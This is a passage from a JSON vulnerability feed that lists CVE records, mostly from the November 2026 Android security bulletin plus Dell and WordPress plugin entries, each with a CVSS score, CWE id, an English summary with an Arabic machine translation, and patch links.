كتابة خارج الحدود بسبب تجاوز عدد صحيح. قد يؤدي هذا إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://android.googlesource.com/kernel/common/+/3b9b40df51bda90ffb2833dcef11905e751dafdb","ref"],["https://android.googlesource.com/kernel/common/+/ed0e57e1e27a9eecd6c1a3dd1dd9ed1b8d1a06b4","ref"],["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58844","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:48Z","product":"Google Android","affected":[],"title":{"en":"In multiple locations, there is a possible out of bounds read/write due to an incorrect bounds check.","ar":"في مواقع متعددة، يوجد احتمال حدوث قراءة/كتابة خارج الحدود بسبب فحص غير صحيح للحدود."},"summary":{"en":"In multiple locations, there is a possible out of bounds read/write due to an incorrect bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في مواقع متعددة، يوجد احتمال حدوث قراءة/كتابة خارج الحدود بسبب فحص غير صحيح للحدود. قد يؤدي هذا إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://android.googlesource.com/kernel/common/+/329d7c6e7215f52bb5922b4bcaa6bf713fa4ccff","ref"],["https://android.googlesource.com/kernel/common/+/f4633d3767965e89b835bca04981b67cc8aa78bd","ref"],["https://android.googlesource.com/kernel/common/+/8c62fa09cc8a04cbaaa5d00b5dcd51279bee3bdb","ref"],["https://android.googlesource.com/kernel/common/+/f0a3950f0fa3988e9af43b5656f72fa675672c82","ref"],["https://android.googlesource.com/kernel/common/+/7d6d4a26e7ead0bc501f3ed6809a66c2f3d49365","ref"],["https://android.googlesource.com/kernel/common/+/82cd807f41d89d5cf2b4c3ac7affdb91188baea7","ref"],["https://android.googlesource.com/kernel/common/+/2f86c81dc9453ed385c4f0703d6bd664d0997567","ref"],["https://android.googlesource.com/kernel/common/+/d518f4cc29a9a95f631c8c811fe6791ad08c4f56","ref"],["https://android.googlesource.com/kernel/common/+/d9b4efaed7a573d245dc5873c7d6c304a9936fdd","ref"],["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58829","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:44Z","product":"Google Android","affected":[],"title":{"en":"In fuse_backing_mmap of backing.c, there is a possible memory corruption due to a use after free.","ar":"في الدالة fuse_backing_mmap التابعة لملف backing.c، يوجد احتمال حدوث تلف في الذاكرة بسبب استخدام الذاكرة بعد تحريرها."},"summary":{"en":"In fuse_backing_mmap of backing.c, there is a possible memory corruption due to a use after free. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة fuse_backing_mmap التابعة لملف backing.c، يوجد احتمال حدوث تلف في الذاكرة بسبب استخدام الذاكرة بعد تحريرها. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://android.googlesource.com/kernel/common/+/984713cde654f06871c542c469e3c226c8a79d9b","ref"],["https://android.googlesource.com/kernel/common/+/517040c192cebb334766f43604e6a7ebb79d43ae","ref"],["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58828","cvss":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:43Z","product":"Google Android","affected":[],"title":{"en":"In multiple functions of base.c, there is a possible use-after-free due to a race condition.","ar":"في عدة دوال داخل الملف base.c، يوجد احتمال استخدام الذاكرة بعد تحريرها بسبب حالة تنافس."},"summary":{"en":"In multiple functions of base.c, there is a possible use-after-free due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في عدة دوال داخل الملف base.c، يوجد احتمال استخدام الذاكرة بعد تحريرها بسبب حالة تنافس. قد يؤدي هذا إلى تصعيد الصلاحيات محلياً دون الحاجة لصلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://android.googlesource.com/kernel/common/+/b597ddd55fd100d3eca5b9c2024a5a09dcc950ec","ref"],["https://android.googlesource.com/kernel/common/+/0285abdfbfb9f99898d647dafb2ea7d4bdd22527","ref"],["https://android.googlesource.com/kernel/common/+/dd1ca7920b1eb7db5dbd34590c811cd99e2c3fdf","ref"],["https://android.googlesource.com/kernel/common/+/f118039ccd1a98d1c4931816832b28c3c9e8e471","ref"],["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58827","cvss":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:42Z","product":"Google Android","affected":[],"title":{"en":"In multiple functions of dma-buf.c, there is a possible use after free due to a race condition.","ar":"في عدة دوال داخل الملف dma-buf.c، يوجد احتمال استخدام الذاكرة بعد تحريرها بسبب حالة تنافس."},"summary":{"en":"In multiple functions of dma-buf.c, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في عدة دوال داخل الملف dma-buf.c، يوجد احتمال استخدام الذاكرة بعد تحريرها بسبب حالة تنافس. قد يؤدي هذا إلى تصعيد الصلاحيات محلياً دون الحاجة لصلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://android.googlesource.com/kernel/common/+/769fa413e80cca30ff767f6f3e18f920d0353f67","ref"],["https://android.googlesource.com/kernel/common/+/6642375b48bea1fc287a9281db591a8edc74db79","ref"],["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58826","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:41Z","product":"Google Android","affected":[],"title":{"en":"In ksys_unshare of fork.c, there is a possible memory corruption due to a use after free.","ar":"في الدالة ksys_unshare التابعة لملف fork.c، يوجد احتمال حدوث تلف في الذاكرة بسبب استخدام الذاكرة بعد تحريرها."},"summary":{"en":"In ksys_unshare of fork.c, there is a possible memory corruption due to a use after free. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة ksys_unshare التابعة لملف fork.c، يوجد احتمال حدوث تلف في الذاكرة بسبب استخدام الذاكرة بعد تحريرها. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://android.googlesource.com/kernel/common/+/13beada2dac38c2d7303f1700aa16fb5053b919d","ref"],["https://android.googlesource.com/kernel/common/+/efe16a3021b9f95eb1cb83e98d0d1db9bff94ce4","ref"],["https://android.googlesource.com/kernel/common/+/f7d26609785ce56170645d56f306db38e8ba277a","ref"],["https://android.googlesource.com/kernel/common/+/009c5006c969826d37a2c5fc2721a7bb20d72555","ref"],["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58825","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:40Z","product":"Google Android","affected":[],"title":{"en":"In multiple functions of fork.c, there is a possible use after free due to a logic error in the code.","ar":"في عدة دوال تابعة لملف fork.c، يوجد احتمال استخدام الذاكرة بعد تحريرها بسبب خطأ منطقي في الشيفرة."},"summary":{"en":"In multiple functions of fork.c, there is a possible use after free due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في عدة دوال تابعة لملف fork.c، يوجد احتمال استخدام الذاكرة بعد تحريرها بسبب خطأ منطقي في الشيفرة. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://android.googlesource.com/kernel/common/+/efe16a3021b9f95eb1cb83e98d0d1db9bff94ce4","ref"],["https://android.googlesource.com/kernel/common/+/009c5006c969826d37a2c5fc2721a7bb20d72555","ref"],["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58824","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:39Z","product":"Google Android","affected":[],"title":{"en":"In __pkvm_load_tracing of trace.c, there is a possible out-of-bounds write due to an incorrect bounds check.","ar":"في الدالة __pkvm_load_tracing الخاصة بـ trace.c، يوجد احتمال حدوث كتابة خارج الحدود بسبب فحص غير صحيح للحدود."},"summary":{"en":"In __pkvm_load_tracing of trace.c, there is a possible out-of-bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة __pkvm_load_tracing الخاصة بـ trace.c، يوجد احتمال حدوث كتابة خارج الحدود بسبب فحص غير صحيح للحدود. قد يؤدي هذا إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://android.googlesource.com/kernel/common/+/8be8949794c96f10348fdd3d8dc7740fdfecd4e2","ref"],["https://android.googlesource.com/kernel/common/+/5a6735b89ba7c8684d36e2ecd9b02e834e97de9c","ref"],["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-55289","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-441","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:33Z","product":"Google Android","affected":[["17",null]],"title":{"en":"In multiple functions in multiple locations, there is a possible execution of sensitive USSD codes due to a confused deputy.","ar":"في دوال متعددة ضمن مواقع متعددة، هناك إمكانية لتنفيذ رموز USSD حساسة بسبب مشكلة Confused Deputy."},"summary":{"en":"In multiple functions in multiple locations, there is a possible execution of sensitive USSD codes due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في دوال متعددة ضمن مواقع متعددة، هناك إمكانية لتنفيذ رموز USSD حساسة بسبب مشكلة Confused Deputy. قد يؤدي ذلك إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-55288","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-248","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:32Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In validEfCfis of SIMRecords.java, there is a possible way to cause a denial of service due to an uncaught exception.","ar":"في validEfCfis من SIMRecords.java، توجد طريقة محتملة للتسبب في حجب الخدمة بسبب استثناء غير معالج."},"summary":{"en":"In validEfCfis of SIMRecords.java, there is a possible way to cause a denial of service due to an uncaught exception. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في validEfCfis من SIMRecords.java، توجد طريقة محتملة للتسبب في حجب الخدمة بسبب استثناء غير معالج. قد يؤدي هذا إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-55283","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:30Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null]],"title":{"en":"In multiple locations, there is a possible memory safety issue due to a use-after-free.","ar":"في مواقع متعددة، توجد مشكلة محتملة في أمان الذاكرة بسبب استخدام الذاكرة بعد تحريرها."},"summary":{"en":"In multiple locations, there is a possible memory safety issue due to a use-after-free. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في مواقع متعددة، توجد مشكلة محتملة في أمان الذاكرة بسبب استخدام الذاكرة بعد تحريرها. قد يؤدي هذا إلى تصعيد عن بُعد للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-55275","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:29Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null]],"title":{"en":"In multiple locations, there is a possible use-after-free due to a race condition.","ar":"في مواقع متعددة، يوجد احتمال استخدام الذاكرة بعد تحريرها بسبب حالة سباق (race condition)."},"summary":{"en":"In multiple locations, there is a possible use-after-free due to a race condition. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في مواقع متعددة، يوجد احتمال استخدام الذاكرة بعد تحريرها بسبب حالة سباق (race condition). قد يؤدي هذا إلى تصعيد عن بُعد للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-55262","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:24Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In setNotificationListenerAccessGrantedForUserInternal of NotificationManagerService.java, there is a possible policy desynchronization due to imprope","ar":"في الدالة setNotificationListenerAccessGrantedForUserInternal ضمن الملف NotificationManagerService.java، يوجد احتمال لعدم تزامن السياسات بسبب التحقق غير السليم من المدخلات"},"summary":{"en":"In setNotificationListenerAccessGrantedForUserInternal of NotificationManagerService.java, there is a possible policy desynchronization due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة setNotificationListenerAccessGrantedForUserInternal ضمن الملف NotificationManagerService.java، يوجد احتمال لعدم تزامن السياسات بسبب التحقق غير السليم من المدخلات. قد يؤدي ذلك إلى تصعيد الصلاحيات محلياً دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب استغلال الثغرة أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-55261","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:23Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null]],"title":{"en":"In nfa_t4tnfcee_store_rx_buf of nfa_nfcee_act.cc, there is a possible way to achieve code execution due to a missing permission check.","ar":"في الدالة nfa_t4tnfcee_store_rx_buf من الملف nfa_nfcee_act.cc، توجد طريقة محتملة لتحقيق تنفيذ الشيفرة بسبب غياب فحص الصلاحيات."},"summary":{"en":"In nfa_t4tnfcee_store_rx_buf of nfa_nfcee_act.cc, there is a possible way to achieve code execution due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة nfa_t4tnfcee_store_rx_buf من الملف nfa_nfcee_act.cc، توجد طريقة محتملة لتحقيق تنفيذ الشيفرة بسبب غياب فحص الصلاحيات. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يلزم تفاعل المستخدم لتنفيذ الاستغلال."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-49934","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:19Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In multiple functions of MmiUtils.java, there is a possible risk of USSD/MMI code execution due to improper input validation.","ar":"في عدة دالات من الملف MmiUtils.java، يوجد خطر محتمل لتنفيذ شيفرة USSD/MMI بسبب التحقق غير السليم من المدخلات."},"summary":{"en":"In multiple functions of MmiUtils.java, there is a possible risk of USSD/MMI code execution due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.","ar":"في عدة دالات من الملف MmiUtils.java، يوجد خطر محتمل لتنفيذ شيفرة USSD/MMI بسبب التحقق غير السليم من المدخلات. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. يلزم تفاعل المستخدم لتنفيذ الاستغلال."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-49931","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-441","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:15Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In onActivityResult in multiple locations, there is a possible contact leak from protected profile due to a confused deputy.","ar":"في الدالة onActivityResult ضمن مواقع متعددة، هناك إمكانية لتسريب جهات الاتصال من ملف شخصي محمي بسبب مشكلة Confused Deputy."},"summary":{"en":"In onActivityResult in multiple locations, there is a possible contact leak from protected profile due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة onActivityResult ضمن مواقع متعددة، هناك إمكانية لتسريب جهات الاتصال من ملف شخصي محمي بسبب مشكلة Confused Deputy. قد يؤدي ذلك إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-49922","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-441","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:12Z","product":"Google Android","affected":[["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In queryRemoteConnectionServices of ConnectionServiceWrapper.java, there is a possible permission bypass due to a confused deputy.","ar":"في الدالة queryRemoteConnectionServices في الملف ConnectionServiceWrapper.java، هناك إمكانية لتجاوز الأذونات بسبب مشكلة Confused Deputy."},"summary":{"en":"In queryRemoteConnectionServices of ConnectionServiceWrapper.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة queryRemoteConnectionServices في الملف ConnectionServiceWrapper.java، هناك إمكانية لتجاوز الأذونات بسبب مشكلة Confused Deputy. قد يؤدي ذلك إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-28665","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:09Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In onCreate of SettingsApplication.java, there is a possible cross-profile consent dialog label injection due to improper input validation.","ar":"في الدالة onCreate الخاصة بملف SettingsApplication.java، توجد امكانية لحدوث حقن لسمة مربع حوار الموافقة عبر الملفات الشخصية بسبب التحقق غير السليم من المدخلات."},"summary":{"en":"In onCreate of SettingsApplication.java, there is a possible cross-profile consent dialog label injection due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة onCreate الخاصة بملف SettingsApplication.java، توجد امكانية لحدوث حقن لسمة مربع حوار الموافقة عبر الملفات الشخصية بسبب التحقق غير السليم من المدخلات. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. ولا تتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-0053","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:52:57Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In multiple locations, there is a possible method for a primary user to disable secure nfc on other full users due to insufficient isolation between A","ar":"في عدة مواضع، توجد طريقة محتملة للمستخدم الأساسي تعطيل ميزة nfc الآمنة على المستخدمين الكاملين الآخرين بسبب العزل غير الكافي بين مستخدمي Android."},"summary":{"en":"In multiple locations, there is a possible method for a primary user to disable secure nfc on other full users due to insufficient isolation between Android users. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في عدة مواضع، توجد طريقة محتملة للمستخدم الأساسي تعطيل ميزة nfc الآمنة على المستخدمين الكاملين الآخرين بسبب العزل غير الكافي بين مستخدمي Android. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. ولا تتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2025-22436","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-451","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:52:51Z","product":"Google Android","affected":[["15",null],["14",null]],"title":{"en":"In multiple locations, there is a possible way to trick a user into disclosing Autofill contents due to a tapjacking/overlay attack.","ar":"في مواقع متعددة، توجد طريقة محتملة لخداع المستخدم للكشف عن محتويات الإدخال التلقائي بسبب هجوم النقر المخادع/الطبقات المتراكبة."},"summary":{"en":"In multiple locations, there is a possible way to trick a user into disclosing Autofill contents due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في مواقع متعددة، توجد طريقة محتملة لخداع المستخدم للكشف عن محتويات الإدخال التلقائي بسبب هجوم النقر المخادع/الطبقات المتراكبة. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. تفاعل المستخدم غير مطلوب لعملية الاستغلال."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-91893","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-269","tags":["LPE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T19:50:01Z","product":"Dell Alienware Command Center (AWCC)","affected":[["0 – <6.14.54.0","6.14.54.0"]],"title":{"en":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Improper Privilege Management vulnerability.","ar":"يحتوي Dell Alienware Command Center (AWCC)، الإصدارات السابقة لـ 6.14.54.0، على ثغرة إدارة صلاحيات غير سليمة."},"summary":{"en":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Improper Privilege Management vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privilege.","ar":"يحتوي Dell Alienware Command Center (AWCC)، الإصدارات السابقة لـ 6.14.54.0، على ثغرة إدارة صلاحيات غير سليمة. يمكن لمهاجم يملك صلاحيات منخفضة ووصول محلي استغلال هذه الثغرة، مما قد يؤدي إلى تصعيد الصلاحيات."},"refs":[["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dell-alienware-command-center"},{"id":"CVE-2026-102435","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:31:31Z","product":"themefic Ultra Addons for Contact Form 7","affected":[["0 – 3.5.54",null]],"title":{"en":"Ultra Addons for Contact Form 7 <= 3.5.54 - Unauthenticated PHP Object Injection to Arbitrary File Deletion via CF7 Form Field","ar":"إضافة Ultra Addons for Contact Form 7 الإصدارات 3.5.54 أو أقل - حقن كائنات PHP دون مصادقة يؤدي إلى حذف ملفات عشوائية عبر حقل نموذج CF7"},"summary":{"en":"The Ultra Addons for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the _getObjAttr function in all versions up to, and including, 3.5.54. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This requires the PDF Generator add-on to be active and a Contact Form 7 form to be configured for PDF generation, as the WPCF7_Submission POP gadget chain relies on CF7 being present to complete the file deletion via __destruct(). Note: This vulnerability can only be exploited when the PDF generator feature is enabled.","ar":"إضافة Ultra Addons for Contact Form 7 لنظام WordPress مصابة 